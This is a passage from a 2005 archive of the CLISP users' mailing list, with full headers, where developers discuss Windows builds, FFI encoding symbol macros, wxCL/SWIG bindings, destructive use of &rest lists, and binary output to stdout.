--with-mingw --build build-dir >is much easier than messing with ms tools >and it produces a native woe32 binary which does not rely on cygwin. > > > I tried mingw with msys and it worked, seems to be much easier than MSVC build. It probably should be (at least) mentioned in win32msvc/INSTALL file as an alternative solution. BTW, same problem with it - after it's built, how do I install it somewhere, keeping only the runtime files? Thank you, Ury From sds@gnu.org Tue Jul 12 10:55:58 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DsOz7-00061j-Sc for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 10:55:57 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.44) id 1DsOz7-00024Q-Ai for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 10:55:58 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6CHtggB027099; Tue, 12 Jul 2005 13:55:46 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Ury Marshak Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42D405A4.2020000@two-bytes.com> (Ury Marshak's message of "Tue, 12 Jul 2005 20:02:12 +0200") References: <42D3DF7B.60109@two-bytes.com> <42D405A4.2020000@two-bytes.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Ury Marshak Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -1.4 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 1.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Troubles compiling on win32/msvc7 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 12 10:58:25 2005 X-Original-Date: Tue, 12 Jul 2005 13:55:05 -0400 > * Ury Marshak [2005-07-12 20:02:12 +0200]: > > But now that it's built, what's next - there's no "make install" or > something along these lines? "make distrib" on cygwin and unzip the distribution, or just copy "lisp.exe" and "lispinit.mem" somewhere. > I tried mingw with msys and it worked, seems to be much easier than > MSVC build. It probably should be (at least) mentioned in > win32msvc/INSTALL file as an alternative solution. ok. > BTW, same problem with it - after it's built, how do I install it > somewhere, keeping only the runtime files? make distrib unzip the distribution in the directory of your choice run install.bat -- Sam Steingold (http://www.podval.org/~sds) running w2k When we break the law, they fine us, when we comply, they tax us. From Joerg-Cyril.Hoehle@t-systems.com Wed Jul 13 02:00:19 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dsd6J-0008T8-HZ for clisp-list@lists.sourceforge.net; Wed, 13 Jul 2005 02:00:19 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.44) id 1Dsd6I-0008HM-8Y for clisp-list@lists.sourceforge.net; Wed, 13 Jul 2005 02:00:19 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 13 Jul 2005 11:00:21 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id <3V6A4VTY>; Wed, 13 Jul 2005 11:00:05 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03050B8BE7@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: Troubles compiling on win32/msvc7 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: -1.4 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 1.4 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 13 02:02:11 2005 X-Original-Date: Wed, 13 Jul 2005 10:59:58 +0200 Sam Steingold wrote: >> * Ury Marshak [2005-07-12 20:02:12 +0200]: >> But now that it's built, what's next - there's no "make install" or >> something along these lines? >"make distrib" on cygwin and unzip the distribution, >or just copy "lisp.exe" and "lispinit.mem" somewhere. Is that all? (it's all I typically use ;), but I always thought a proper distribution would include the files data/unicodexyz.txt and some others, so that the -B and -N options would make sense? BTW, for MS-VC, I did the missing parts by hand. IIRC, it's all sed commands and luckily only a few files (stdint.h, stdbool.h etc.), and I used Emacs to do the search/replace (lispbibl.d is also easily handled). "touch cflags.h.stamp" and built.obj is annoying because it needs to be done more than once. The most annoying thing is that building inside the src dir corrupts it, so that subsequent Linux configure/build mysteriously fail (as I reported long ago). And I haven't yet experience with union-fs and the like, with which the MS build could be kept separate from the clean src directory. Any recommendations? I didn't find a Debian package for union-fs!?! Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Wed Jul 13 02:32:16 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DsdbD-0001W7-TK for clisp-list@lists.sourceforge.net; Wed, 13 Jul 2005 02:32:15 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.44) id 1DsdbB-0004Xu-DZ for clisp-list@lists.sourceforge.net; Wed, 13 Jul 2005 02:32:15 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 13 Jul 2005 11:31:33 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id <3V6AGCHB>; Wed, 13 Jul 2005 11:30:34 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03050B8C0B@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: iconv MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: -1.4 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 1.4 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 13 02:34:40 2005 X-Original-Date: Wed, 13 Jul 2005 11:30:31 +0200 Sam Steingold wrote: [Pascal Bourguignon wrote:] >> (defmacro with-tcl-env (&body body) >> `(let ((custom:*FOREIGN-ENCODING* charset:utf-8)) >> ,@body)) >except that custom:*FOREIGN-ENCODING* is a symbol macro so this code >won't do what you want it to. >you need something like > `(let ((,orig custom:*foreign-encoding*)) > (unwind-protect (progn (setq custom:*foreign-encoding* >charset:utf-8) > ,@body) > (setq custom:*foreign-encoding* ,orig))))) What?! I thought for years (since *foreign-encoding* became a symbol macro) the whole point of making those symbol macros was to ensure they would continue to behave like the ordinary specials they once were! And now I realize all such code is broken! IMHO, impnotes should mention this problem (it says those are symbol macros, which implies it, but sometimes, explicitly showing the implications is better -- we are humans). The reasonable conclusion IMHO is: it's a broken design (both the symbol macro and the global variable), but alas, it's going to stay for a while. BTW, ext:letf does the unwind-protect for you, and I'd rather suggest that instead of the less readable explicit unwind-protect. [2]> (macroexpand-1'(ext:letf((custom:*foreign-encoding* charset:iso-8859-1)) (print foo))) (LETF* ((#:G2691 (SYSTEM::FOREIGN-ENCODING)) (#:G2692 CHARSET:ISO-8859-1)) (UNWIND-PROTECT (PROGN (SYSTEM::SET-FOREIGN-ENCODING #:G2692) (PRINT FOO)) (SYSTEM::SET-FOREIGN-ENCODING #:G2691))) ; T [3]> (macroexpand-1 *) (LET* ((#:G2691 (SYSTEM::FOREIGN-ENCODING)) (#:G2692 CHARSET:ISO-8859-1)) (UNWIND-PROTECT (PROGN (SYSTEM::SET-FOREIGN-ENCODING #:G2692) (PRINT FOO)) (SYSTEM::SET-FOREIGN-ENCODING #:G2691))) ; T [I had expect Sam to make more publicity for CLISP's useful extensions :] Once again, referential transparency would win. Sadly, the CLISP FFI does not permanently associate an encoding with a particular foreign function. This would be useful for *some* FFI functions. Specials sucks, because of their scope: they also affect callbacks called within the extent of the foreign function. These special variables suck the same way that (let ((*readtable* *special-purpose-readtable*)) ;unuseable interactively (read x)) ; sucks when thrown into the debugger BTW, clisp has a relatively new debugger command to restore *readtable* to sane values. Viewed differently, it shows the problems that making wide use of lazy evaluation would yield in Common Lisp, and how Haskell needs to be careful to avoid those systematically. Regards, Jorg Hohle From EFuzzyONE@netscape.net Wed Jul 13 10:11:05 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DsklF-0007Ba-6J for clisp-list@lists.sourceforge.net; Wed, 13 Jul 2005 10:11:05 -0700 Received: from imo-d01.mx.aol.com ([205.188.157.33]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.44) id 1DsklA-0004pT-Jj for clisp-list@lists.sourceforge.net; Wed, 13 Jul 2005 10:11:05 -0700 Received: from EFuzzyONE@netscape.net by imo-d01.mx.aol.com (mail_out_v38_r1.7.) id 6.c7.10d516d6 (16238) for ; Wed, 13 Jul 2005 13:10:40 -0400 (EDT) Received: from netscape.net (mow-m03.webmail.aol.com [64.12.184.131]) by air-in03.mx.aol.com (v106.2) with ESMTP id MAILININ32-3f6e42d54b10f; Wed, 13 Jul 2005 13:10:40 -0400 From: EFuzzyONE@netscape.net (Surendra Singhi) To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Message-ID: <2A5E5C56.7231FE88.0211DCC3@netscape.net> X-Mailer: Atlas Mailer 2.0 X-AOL-IP: 209.10.209.56 X-AOL-Language: english Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: Lisp and Win32 GUIs ( SWIG) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 13 10:13:41 2005 X-Original-Date: Wed, 13 Jul 2005 13:10:40 -0400 Sam Steingold wrote: >Great! >Please submit your code to the SWIG people, e.g., as an attachment to >the above tracker item. We want your code to be in the official SWIG. Done. >2. you should use FFI:DEF-C-STRUCT instead of CL:DEFSTRUCT. Thanks. Fixed now. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.htm __________________________________________________________________ Switch to Netscape Internet Service. As low as $9.95 a month -- Sign up today at http://isp.netscape.com/register Netscape. Just the Net You Need. New! Netscape Toolbar for Internet Explorer Search from anywhere on the Web and block those annoying pop-ups. Download now at http://channels.netscape.com/ns/search/install.jsp From lisp-clisp-list@m.gmane.org Wed Jul 13 21:19:47 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DsvCI-0006Ls-SW for clisp-list@lists.sourceforge.net; Wed, 13 Jul 2005 21:19:42 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by sc8-sf-mx2.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1DsvCH-000225-7T for clisp-list@lists.sourceforge.net; Wed, 13 Jul 2005 21:19:42 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1DsvBx-0005UX-NF for clisp-list@lists.sourceforge.net; Thu, 14 Jul 2005 06:19:21 +0200 Received: from c-67-180-92-49.hsd1.ca.comcast.net ([67.180.92.49]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 14 Jul 2005 06:19:21 +0200 Received: from efuzzyone by c-67-180-92-49.hsd1.ca.comcast.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 14 Jul 2005 06:19:21 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 37 Message-ID: <3bqi2f69.fsf@netscape.net> References: <5F9130612D07074EB0A0CE7E69FD7A0304DEA5A0@S4DE8PSAAGS.blf.telekom.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c-67-180-92-49.hsd1.ca.comcast.net Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:2J58qsMJDM0ndkzq/Z9jN7lSO4k= X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.8 HELO_DYNAMIC_IPADDR Relay HELO'd using suspicious hostname (IP addr 1) -1.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Lisp and Win32 GUIs (wxCL = wxWidgets + CL) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 13 21:21:15 2005 X-Original-Date: Wed, 13 Jul 2005 21:18:54 -0700 "Hoehle, Joerg-Cyril" writes: > One important thing to keep in mind is: if all you have is *.h files, you are not very far ahead. The expressivity of *.h files is extremely poor. E.g. you don't know which parameters are : or :out. The CLISP FFI is quite expressive, but you'd not be using that power if all you have is a naive .htoFFI converter. I understand this, my goal with Swig is to automate most of the wrapper generation, so that the user has to do minimal amount of work in making use of the full expressivity of clisp ffi. Most of the swig modules, actively discourage users from editing the files generated by them. But, I am taking care to ensure that the generated files are easy to understand and edit. > And at some point, you will realize that the power of the Lisp interface you create does not come from whatever the FFI looks like, but from how useable the Lisp-level abstractions you create are to the Lisp programmer = user of your library. That's my summary of observing various past attempts of interfacing to GUI and other libraries (e.g. there have been like a dozen interaces to tk, various forms of X, Motif etc.). > Point well taken. > > I wish you good luck, Thanks. Right now I have hosted the project on sourceforge http://sourceforge.net/projects/wxcl/ One can subscribe to mailing lists from here: http://sourceforge.net/mail/?group_id=143661 As of now, the wxC code and some code of an old implementation of wxCL is checked in, if anyone is interested in helping us out, contact me. Cheers. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.htm Great wits are sure to madness near allied, And thin partitions do their bounds divide. (John Dryden, Absalom and Achitophel, 1681) From kavenchuk@jenty.by Thu Jul 14 05:39:46 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dt30D-0000lv-KN for clisp-list@lists.sourceforge.net; Thu, 14 Jul 2005 05:39:45 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.44) id 1Dt30B-0002zX-AJ for clisp-list@lists.sourceforge.net; Thu, 14 Jul 2005 05:39:45 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id MCTAJN1V; Thu, 14 Jul 2005 15:40:01 +0300 Message-ID: <42D65D4E.10604@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] destructive functions and &rest Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 14 05:41:55 2005 X-Original-Date: Thu, 14 Jul 2005 15:40:46 +0300 I can use in function: (defun my-fun (&rest args) ... destructive functions with args? Example: (defun dilute-blanks (&rest args) (labels ((dilute (l) (when (cdr l) (dilute (cdr l)) (let ((s (list " "))) (rplacd s (cdr l)) (rplacd l s))))) (dilute args))) CL-USER> (dilute-blanks 1 2 3 4 5 6) (1 " " 2 " " 3 " " 4 " " 5 " " 6) There are no "reefs"? Thanks. -- WBR, Yaroslav Kavenchuk. From Devon@Jovi.Net Thu Jul 14 06:08:08 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dt3Rd-0001uq-Tm for clisp-list@lists.sourceforge.net; Thu, 14 Jul 2005 06:08:05 -0700 Received: from grant.org ([206.190.173.18]) by sc8-sf-mx1.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Dt3Rb-0000JF-AJ for clisp-list@lists.sourceforge.net; Thu, 14 Jul 2005 06:08:06 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id j6ED7QJm023613 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 14 Jul 2005 09:07:29 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id j6ED7QtA023606; Thu, 14 Jul 2005 09:07:26 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200507141307.j6ED7QtA023606@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: clisp-list@lists.sourceforge.net X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.4 X-Spam-Checker-Version: SpamAssassin 3.0.4 (2005-06-05) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Thu, 14 Jul 2005 09:07:47 -0400 (EDT) X-Spam-Score: -1.4 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 1.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] binary standard output from unix script Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 14 06:10:38 2005 X-Original-Date: Thu, 14 Jul 2005 09:07:26 -0400 (EDT) Can CLISP do what BASH does? $ for x in t?.????; do echo ----------------$x----------------; cat $x; ./$x | od -c; done ----------------t1.bash---------------- #!/usr/local/bin/bash echo -en "\200" 0000000 200 0000001 ----------------t2.lisp---------------- #!/usr/local/bin/clisp (print (code-char 128)) 0000000 \n # \ U 0 0 8 0 \n 0000012 ----------------t3.lisp---------------- #!/usr/local/bin/clisp (princ (code-char 128)) *** - Character #\u0080 cannot be represented in the character set CHARSET:ASCII ----------------t4.lisp---------------- #!/usr/local/bin/clisp (write-byte 128 *standard-output*) *** - WRITE-BYTE on # is illegal ----------------t5.lisp---------------- #!/usr/local/bin/clisp (setf (stream-element-type *standard-output*) '(unsigned-byte 8)) (write-byte 128 *standard-output*) *** - (SETF STREAM-ELEMENT-TYPE) on # is illegal $ Odd, a pipe to OD looks way different from a TTY stream to me. From sds@gnu.org Thu Jul 14 06:38:49 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dt3vM-0003Os-9P for clisp-list@lists.sourceforge.net; Thu, 14 Jul 2005 06:38:48 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.44) id 1Dt3vI-0006gC-RE for clisp-list@lists.sourceforge.net; Thu, 14 Jul 2005 06:38:48 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6EDcUnS002598; Thu, 14 Jul 2005 09:38:30 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Surendra Singhi Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <3bqi2f69.fsf@netscape.net> (Surendra Singhi's message of "Wed, 13 Jul 2005 21:18:54 -0700") References: <5F9130612D07074EB0A0CE7E69FD7A0304DEA5A0@S4DE8PSAAGS.blf.telekom.de> <3bqi2f69.fsf@netscape.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Surendra Singhi Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -1.4 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 1.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Lisp and Win32 GUIs (wxCL = wxWidgets + CL) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 14 06:40:47 2005 X-Original-Date: Thu, 14 Jul 2005 09:37:31 -0400 > * Surendra Singhi [2005-07-13 21:18:54 -0700]: > > Thanks. Right now I have hosted the project on sourceforge > http://sourceforge.net/projects/wxcl/ why did you split from http://sourceforge.net/projects/wxlisp/ ? (note that the homepage 404s) > One can subscribe to mailing lists from here: > http://sourceforge.net/mail/?group_id=143661 please make sure the lists are available on gmane.org. Thanks and good luck! -- Sam Steingold (http://www.podval.org/~sds) running w2k Your mouse has moved - WinNT has to be restarted for this to take effect. From sds@gnu.org Thu Jul 14 06:43:57 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dt40L-0003aD-Fz for clisp-list@lists.sourceforge.net; Thu, 14 Jul 2005 06:43:57 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.44) id 1Dt40I-0007iJ-CX for clisp-list@lists.sourceforge.net; Thu, 14 Jul 2005 06:43:57 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6EDhQdv003327; Thu, 14 Jul 2005 09:43:44 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42D65D4E.10604@jenty.by> (Yaroslav Kavenchuk's message of "Thu, 14 Jul 2005 15:40:46 +0300") References: <42D65D4E.10604@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -1.4 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 1.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: destructive functions and &rest Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 14 06:46:42 2005 X-Original-Date: Thu, 14 Jul 2005 09:42:27 -0400 > * Yaroslav Kavenchuk [2005-07-14 15:40:46 +0300]: > > I can use in function: > > (defun my-fun (&rest args) ... > > destructive functions with args? > > Example: > > (defun dilute-blanks (&rest args) > (labels ((dilute (l) > (when (cdr l) > (dilute (cdr l)) > (let 